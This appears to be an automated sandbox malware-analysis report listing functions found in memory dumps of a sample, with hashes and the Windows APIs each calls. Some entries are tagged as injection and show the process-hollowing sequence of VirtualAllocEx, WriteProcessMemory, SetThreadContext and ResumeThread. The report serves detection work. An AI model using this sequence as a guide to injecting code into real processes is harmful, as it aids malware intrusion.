Source File: 00000015.00000002.2322508183.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5480000_BjTxJte.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a11a9a9fd67e0ba67aeab651737a7aa9017c4c9645ff532cc8aae09d41a65fc2
Instruction ID: ea7b9063229047c1d81bd915cf04b9ef6e84277706ae29488a265fece8a16cbf
Opcode Fuzzy Hash: a11a9a9fd67e0ba67aeab651737a7aa9017c4c9645ff532cc8aae09d41a65fc2
Instruction Fuzzy Hash: E9918B71D01219DFDB24DF68C944BEEBBB2BF48314F0481AAE809A7390DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00CCB55F Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00CCB7C6

Memory Dump Source

Source File: 00000015.00000002.2309156352.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_cc0000_BjTxJte.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: e5b70bec268d8a98aa968b881c37eb5dcfcf76b746b546ba5c99c42c17e51b1a
Instruction ID: 4803abe3bc453552ef597bc1027300d8da94d547853a0f2861fd537d7d3cd9ea
Opcode Fuzzy Hash: e5b70bec268d8a98aa968b881c37eb5dcfcf76b746b546ba5c99c42c17e51b1a
Instruction Fuzzy Hash: AF8168B0A00B058FDB28DFA9D041B5ABBF1FF88300F10892DE09AD7A50D774E945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04DE0F80 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04DE22E2

Memory Dump Source

Source File: 00000015.00000002.2321080197.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4de0000_BjTxJte.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: b6ffe79afede38c72afbbdb889504be3d2db91c69d1f210c46c5ca7602933caf
Instruction ID: 52f1fa8fda45429a0670950b20ec30db99b3d28e479393f46cca7120fff94a8e
Opcode Fuzzy Hash: b6ffe79afede38c72afbbdb889504be3d2db91c69d1f210c46c5ca7602933caf
Instruction Fuzzy Hash: 1B51B2B1D003499FDB14DF9AC884ADEBBF5FF48310F24856AE819AB210D775A845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04DE21C4 Relevance: 1.6, APIs: 1, Instructions: 115COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04DE22E2

Memory Dump Source

Source File: 00000015.00000002.2321080197.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4de0000_BjTxJte.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 35f0ae21e03fbe93ee79670670f4381b03c3f188de2fddc524b9ace03b5ed219
Instruction ID: 82c2bb48545e0be5bc4bfeece5a088b62f6ae7a15b97bfcf0bcc1af79551904a
Opcode Fuzzy Hash: 35f0ae21e03fbe93ee79670670f4381b03c3f188de2fddc524b9ace03b5ed219
Instruction Fuzzy Hash: 9E51D2B1D00309DFDB14DFAAC980ADEBBB5FF48310F24852AE818AB210D774A845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04DE10D4 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04DE4861

Memory Dump Source

Source File: 00000015.00000002.2321080197.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4de0000_BjTxJte.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 069975d42be3c1d6b4d593fef273b07c0871e9e94a86438af3534fc44a4cc43b
Instruction ID: b6c9cae4a61012abb528ec4e43dafb92023d2949ca14ecc1376230d17ddecf50
Opcode Fuzzy Hash: 069975d42be3c1d6b4d593fef273b07c0871e9e94a86438af3534fc44a4cc43b
Instruction Fuzzy Hash: D64116B4A00249DFDB14DF9AC488AAABBF5FF88314F24C459D519AB321D374E841CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00CC44E4 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 00CC59C9

Memory Dump Source

Source File: 00000015.00000002.2309156352.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_cc0000_BjTxJte.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 0b63a4e43a44aea14706bd6c65728177e61db330cc301ea5f9296477812d0a9a
Instruction ID: ebbfba52139e408b6aa42ba4e200782f91e394f56c35a4321e946c84ebfad418
Opcode Fuzzy Hash: 0b63a4e43a44aea14706bd6c65728177e61db330cc301ea5f9296477812d0a9a
Instruction Fuzzy Hash: 3F41F3B0C0071DCBDB24CFAAC844B9DBBF5BF49304F20816AD419AB255DBB56986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00CC590C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 00CC59C9

Memory Dump Source

Source File: 00000015.00000002.2309156352.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_cc0000_BjTxJte.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 6589574b5d28c1c1bfe27fc7ecec9e1c95551c1ef4d94d8eee8733543dc381b7
Instruction ID: 442e64a3cbffc8847682066f9ffddf0d6c2b8de2d6e9773701a8c1fb2ae7e0ff
Opcode Fuzzy Hash: 6589574b5d28c1c1bfe27fc7ecec9e1c95551c1ef4d94d8eee8733543dc381b7
Instruction Fuzzy Hash: ED4104B1C0071DCBDB24CFAAC844BDDBBB5BF49704F20816AD408AB255DBB56986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0548D021 Relevance: 1.6, APIs: 1, Instructions: 71injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 0548D0B8

Memory Dump Source

Source File: 00000015.00000002.2322508183.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5480000_BjTxJte.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 3c527d7a261aeb651e6ff32f0e523c9e40263cb2377bb90fb05500e18581295d
Instruction ID: ae426f8af2f0558d2bac17045030267b21d0c8a735f25b7c667a3dcb218c70e1
Opcode Fuzzy Hash: 3c527d7a261aeb651e6ff32f0e523c9e40263cb2377bb90fb05500e18581295d
Instruction Fuzzy Hash: 232113B1D013099FCB14DFAAC985BEEBBF5FF48310F50842AE919A7250C7789955CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0548D028 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 0548D0B8

Memory Dump Source

Source File: 00000015.00000002.2322508183.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5480000_BjTxJte.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 01e8f4cbf4a6d45f4c7ddfaac841092525e834e8f4fff2f6d4f34f16bd861f48
Instruction ID: 8e7224123875e3a764a7a858526c11e3339024e5565e838a107cbed01756eb0a
Opcode Fuzzy Hash: 01e8f4cbf4a6d45f4c7ddfaac841092525e834e8f4fff2f6d4f34f16bd861f48
Instruction Fuzzy Hash: 562125B1D013099FCB10DFAAC985BEEBBF5FF48310F50842AE919A7240C7789944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00CCD0E0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00CCDA06,?,?,?,?,?), ref: 00CCDAC7

Memory Dump Source

Source File: 00000015.00000002.2309156352.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_cc0000_BjTxJte.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1f49d8782662fa32ffe5bcf83eeac329a30af6686a4f6d9e67ba38c0345b2812
Instruction ID: b096368966621e69b1a1d3da2ef49803799a21b755ad7863ee52151c074741d1
Opcode Fuzzy Hash: 1f49d8782662fa32ffe5bcf83eeac329a30af6686a4f6d9e67ba38c0345b2812
Instruction Fuzzy Hash: 0421E5B5900208AFDB10CF9AD584ADEBBF9FB48310F14841AE915A3310D379A940DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0548CE88 Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0548CF0E

Memory Dump Source

Source File: 00000015.00000002.2322508183.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5480000_BjTxJte.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ee12adf493e4bba204eaca4a93b88482955bec32193e793fb1ed5a326b18696a
Instruction ID: 6c9ba7ccb807c4d3e4ed2ddbf2769d67d33930045cf7f4de0503214ca8407dd4
Opcode Fuzzy Hash: ee12adf493e4bba204eaca4a93b88482955bec32193e793fb1ed5a326b18696a
Instruction Fuzzy Hash: 5C2168B1D002088FDB10DFAAC4847EEBBF4FF48314F14842AD519A7241CB789945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0548D116 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0548D198

Memory Dump Source

Source File: 00000015.00000002.2322508183.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5480000_BjTxJte.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: a0e47650fd132ba1c4d829258e94ba6771212c1dec01503b8db465388c5ca11f
Instruction ID: 1f58b762ad3e176ccf056afabbff2091be7ff0a1230d211c0c7dbd14c845dba7
Opcode Fuzzy Hash: a0e47650fd132ba1c4d829258e94ba6771212c1dec01503b8db465388c5ca11f
Instruction Fuzzy Hash: 9521F5B1D012499FDB14DFAAC985AEEBBF5FF48310F50842AE519A7250C7789944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0548D118 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0548D198

Memory Dump Source

Source File: 00000015.00000002.2322508183.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5480000_BjTxJte.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 912219e5cf180430b64c3a8e714d98a6747a5343cea553da66fad2ac7386a2ea
Instruction ID: 556adf95783236dd70d770857b4db071fa55658568dadaebd2f0a2317f35521a
Opcode Fuzzy Hash: 912219e5cf180430b64c3a8e714d98a6747a5343cea553da66fad2ac7386a2ea
Instruction Fuzzy Hash: 992107B1D013499FDB10DFAAC985AEEFBF5FF48310F50842AE519A7250C778A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0548CF60 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0548CFD6

Memory Dump Source

Source File: 00000015.00000002.2322508183.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5480000_BjTxJte.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 359c2e98f3f9aef59ef4b9126e51374153a72e4d3139d953d405e3378a5163f2
Instruction ID: c11f031103e8b7db7321bef9e5b34547e328640f5573f70c742c583ff1bd404a
Opcode Fuzzy Hash: 359c2e98f3f9aef59ef4b9126e51374153a72e4d3139d953d405e3378a5163f2
Instruction Fuzzy Hash: 1C214772D002499FCB10DFA9D845AEFBFF5EF88310F10881AE51AA7250C7799940CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00CCAFB0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00CCB841,00000800,00000000,00000000), ref: 00CCBA52

Memory Dump Source

Source File: 00000015.00000002.2309156352.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_cc0000_BjTxJte.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e1706026e7d8744921ccceb440c12fc9127db262f016bfe686857fee6d8cfed3
Instruction ID: a6e4fb4b32108befdc534091d23849abdd3749f20f9ebe7b861bc2452bc8058f
Opcode Fuzzy Hash: e1706026e7d8744921ccceb440c12fc9127db262f016bfe686857fee6d8cfed3
Instruction Fuzzy Hash: 831114B6C003499FDB10CF9AD444B9EFBF8EB48310F10842EE519A7200C379A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0548CF68 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0548CFD6

Memory Dump Source

Source File: 00000015.00000002.2322508183.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5480000_BjTxJte.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: dfe39d171254b095443c5a721fa377bb9b6137a9701660cfb607aaa672cc07ef
Instruction ID: 95faee0e8f46a73f7ea78846d4b03aa99f11271ca97cd25f9220b7e2197b0793
Opcode Fuzzy Hash: dfe39d171254b095443c5a721fa377bb9b6137a9701660cfb607aaa672cc07ef
Instruction Fuzzy Hash: F111F6759002499FDB10DFAAC845AEFBFF5EF48320F14841AE519A7250C779A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0548CDD8 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 0548CE42

Memory Dump Source

Source File: 00000015.00000002.2322508183.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5480000_BjTxJte.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 62fa259f4bdb82c17240f852d90866f1eacf69616a02105af5d3fb08a6fe565c
Instruction ID: c2109b22632e153f8789fc78620f391ded7890efb8b7bb90fb9fe92eb66e964e
Opcode Fuzzy Hash: 62fa259f4bdb82c17240f852d90866f1eacf69616a02105af5d3fb08a6fe565c
Instruction Fuzzy Hash: 311146B1D002488BCB20DFAAC4457EFBFF4EF88324F24841AD519A7250CB799944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00CCB9E1 Relevance: 1.6, APIs: 1, Instructions: 50libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00CCB841,00000800,00000000,00000000), ref: 00CCBA52

Memory Dump Source

Source File: 00000015.00000002.2309156352.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_cc0000_BjTxJte.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c14e51bd9e0e5c8f6c45b490a30a7faa03960ae5a6e102c64df25e630fb26153
Instruction ID: d1446689f315a55b03a2fcd5c17127d73cee7861249b938e25130bb9d9215cbb
Opcode Fuzzy Hash: c14e51bd9e0e5c8f6c45b490a30a7faa03960ae5a6e102c64df25e630fb26153
Instruction Fuzzy Hash: 9E1112B6D002098FCB14CF9AD544B9EFBF5AB48310F10842ED529A7210C778AA45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0548CDE0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 0548CE42

Memory Dump Source

Source File: 00000015.00000002.2322508183.0000000005480000.00000040.00000800.00020000.00000000.sdmp, Offset: 05480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_5480000_BjTxJte.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 33f037909ec0af3e11eeac310c28c92ce02ae239b2633d9fda1b8a32d520eb5b
Instruction ID: 9c801a76ff11b94c407b74a58939d0bce28d39d2d6c57d056f3ebd7dab944983
Opcode Fuzzy Hash: 33f037909ec0af3e11eeac310c28c92ce02ae239b2633d9fda1b8a32d520eb5b
Instruction Fuzzy Hash: F11128B1D002488BCB20DFAAC4457EFFBF5EF88720F10841AD519A7240CB79A944CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00CCB760 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00CCB7C6

Memory Dump Source

Source File: 00000015.00000002.2309156352.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_cc0000_BjTxJte.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 0e547ad9601b80a28ee8c6cf2c864ab7e260f9aff1059ece24479072b9498d20
Instruction ID: 1ffea79b760b0844df7ecd873ca530dcb166c98c1bde7cf930b6408c642f577c
Opcode Fuzzy Hash: 0e547ad9601b80a28ee8c6cf2c864ab7e260f9aff1059ece24479072b9498d20
Instruction Fuzzy Hash: 4B11DFB5C002498FCB10DFAAD444B9EFBF8EF89710F10845AD829B7610C379A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0D1A11F8 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0D1A125D

Memory Dump Source

Source File: 00000015.00000002.2325507551.000000000D1A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0D1A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_d1a0000_BjTxJte.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: ef46918e3ae732272123d737754b8ca860f7375441cca895fae4818f72c5d3ba
Instruction ID: e7ab68d54cad13137796fd1bd04495c64554e8e61e5292ae6f72e5352700b106
Opcode Fuzzy Hash: ef46918e3ae732272123d737754b8ca860f7375441cca895fae4818f72c5d3ba
Instruction Fuzzy Hash: 8711B0B98003499FDB10DF99D585BEEBBF8FB58310F20841AD559A7210C379A984CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0D1A1200 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0D1A125D

Memory Dump Source

Source File: 00000015.00000002.2325507551.000000000D1A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0D1A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_d1a0000_BjTxJte.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: bd4760ed902554ef5cb90d5cb9be9213789017ea827e7bdd812429fdbf41954d
Instruction ID: 9d450b1e2b49bad17594366f232aa87e56b64f0117afbf67813ef0d12e2f3c96
Opcode Fuzzy Hash: bd4760ed902554ef5cb90d5cb9be9213789017ea827e7bdd812429fdbf41954d
Instruction Fuzzy Hash: B411D3B58003499FDB10DF9AD985BDEBBF8FB48320F20841AD518B7200C379A584CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04EBFC39 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

(nq, xrefs: 04EBFC8F

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID: (nq
API String ID: 0-2756854522
Opcode ID: a5b0cc523537e741983e8db344b11bcdf2074a5fe7a084f2aab322a1484e5358
Instruction ID: 5adbf5aecfba7e8c954201e028f0e42a3d3910ba7302f805f2861160b88f4a5d
Opcode Fuzzy Hash: a5b0cc523537e741983e8db344b11bcdf2074a5fe7a084f2aab322a1484e5358
Instruction Fuzzy Hash: B331B031E0425A8FCB04DFB9D8541EEBFF2FF89310F2581AAD505F7255EA3069168B90

Uniqueness

Uniqueness Score: -1.00%

Function 04EBA8F0 Relevance: .7, Instructions: 728COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42e94c7ffb1f4a5a64a0ee83e483e9a2614bf4a4d1d7c88d3b8504dd787f4891
Instruction ID: 23020102e2fd0f1b71d6267823df9c5ba827cf407a644a6a9a2e846330f51b17
Opcode Fuzzy Hash: 42e94c7ffb1f4a5a64a0ee83e483e9a2614bf4a4d1d7c88d3b8504dd787f4891
Instruction Fuzzy Hash: C5722D31910609CFDB15EF68C8946EDBBB1FF85305F0082A9D549AB265EB34AEC5CF81

Uniqueness

Uniqueness Score: -1.00%

Function 04EB78A8 Relevance: .6, Instructions: 551COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02e83f794a852f511db8b4bd377f35ce952f04daee72c623d100e0c1a85f78b1
Instruction ID: 19a972e318faeacdd2733f65cd8baa612ec3d87ade9cd72fd3a705d33e2818a5
Opcode Fuzzy Hash: 02e83f794a852f511db8b4bd377f35ce952f04daee72c623d100e0c1a85f78b1
Instruction Fuzzy Hash: E3420831E006198FDB15EF68C8846EDF7B1FF89304F149699D499BB251EB30AA84CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04EBC1C8 Relevance: .5, Instructions: 500COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3f640b1e07427afd19e67b360bb3ce6192d3de01efdcba7d35b2148dae85135
Instruction ID: a448d9dd51cace7b8e43dfd4db1f87241a799b29f7f63a02cbf908c3a9c440f9
Opcode Fuzzy Hash: b3f640b1e07427afd19e67b360bb3ce6192d3de01efdcba7d35b2148dae85135
Instruction Fuzzy Hash: 77221830A00215CFDB14DF69C894AADB7B2FF89304F2495A8E54AAB365DB30ED45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04EBAA20 Relevance: .4, Instructions: 418COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f466e4a1b6499eb48202cd172a275f849cb296841dee099ad86e3a9ff3b514b0
Instruction ID: 4fc0110de3164f29480afaa9d4b0ca7a71bc3aaf9abe5fa750d06e69c35a2f1d
Opcode Fuzzy Hash: f466e4a1b6499eb48202cd172a275f849cb296841dee099ad86e3a9ff3b514b0
Instruction Fuzzy Hash: D312FA31E006198FDB15EF68C8946D9B7B1FF85305F0482A9D94AA7265EF34AEC5CF80

Uniqueness

Uniqueness Score: -1.00%

Function 04EB7898 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 982e5be92f01840941080018b7c22ec9acb86537d84cab94d4dbc05b361b3c7f
Instruction ID: 0c9e85b9a41a1dda7d917c80debcb257fae7b679bc651224e2476a94a001e6f7
Opcode Fuzzy Hash: 982e5be92f01840941080018b7c22ec9acb86537d84cab94d4dbc05b361b3c7f
Instruction Fuzzy Hash: 04E11A31E006198FDB25DF68C8846EDB7B1FF89304F159699D499AB651EB30BE80CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04EBA271 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b57c35e0d3dd87751dd5aea2b210ec4d4e6c000edbfd79e2ca880e5a48a273e8
Instruction ID: a5fd1df7aa8f253cd1d6d6fa49a00ef219adf5b4bd97d24d4b2f508d5205aaa2
Opcode Fuzzy Hash: b57c35e0d3dd87751dd5aea2b210ec4d4e6c000edbfd79e2ca880e5a48a273e8
Instruction Fuzzy Hash: A091187190060ACFCB01DF68C8849D9FBB5FF49310B14C7AAE859EB256E774E985CB80

Uniqueness

Uniqueness Score: -1.00%

Function 04EB3890 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e0329ec01b51a08608c28fdb838f7403e377ed3609b392dd39face84d2bc729
Instruction ID: 3dd666f1bd642ee53907ef5218b50d9e52a06ceeaa2eb7fbb01829e838b24217
Opcode Fuzzy Hash: 8e0329ec01b51a08608c28fdb838f7403e377ed3609b392dd39face84d2bc729
Instruction Fuzzy Hash: EC717EB1E002099FDB10DFA9C941AEFFBF5EF88304F24811AD448A7255DB74AA46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04EB95F8 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5294ec6f188e7fc0d8fcea1235562738ccd00ab39a932fb27758416c51a5a66
Instruction ID: d7764723ff9cfdb1a40f4d73cc5c0ebd3e16a1790144978d29b00e54cb20318a
Opcode Fuzzy Hash: a5294ec6f188e7fc0d8fcea1235562738ccd00ab39a932fb27758416c51a5a66
Instruction Fuzzy Hash: EB71DCB8600A00CFC718DF29C59895ABBF2FF8930571589A9E54ACB772EB31EC41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04EBC1A0 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c6fd841450639b150dd9e059a6390c5245e1871a32e43f3230a178f311a15b3
Instruction ID: d6a17a8ee9ba10cd8759156188801758e04e509875eb6dc3d7b733251e8998e2
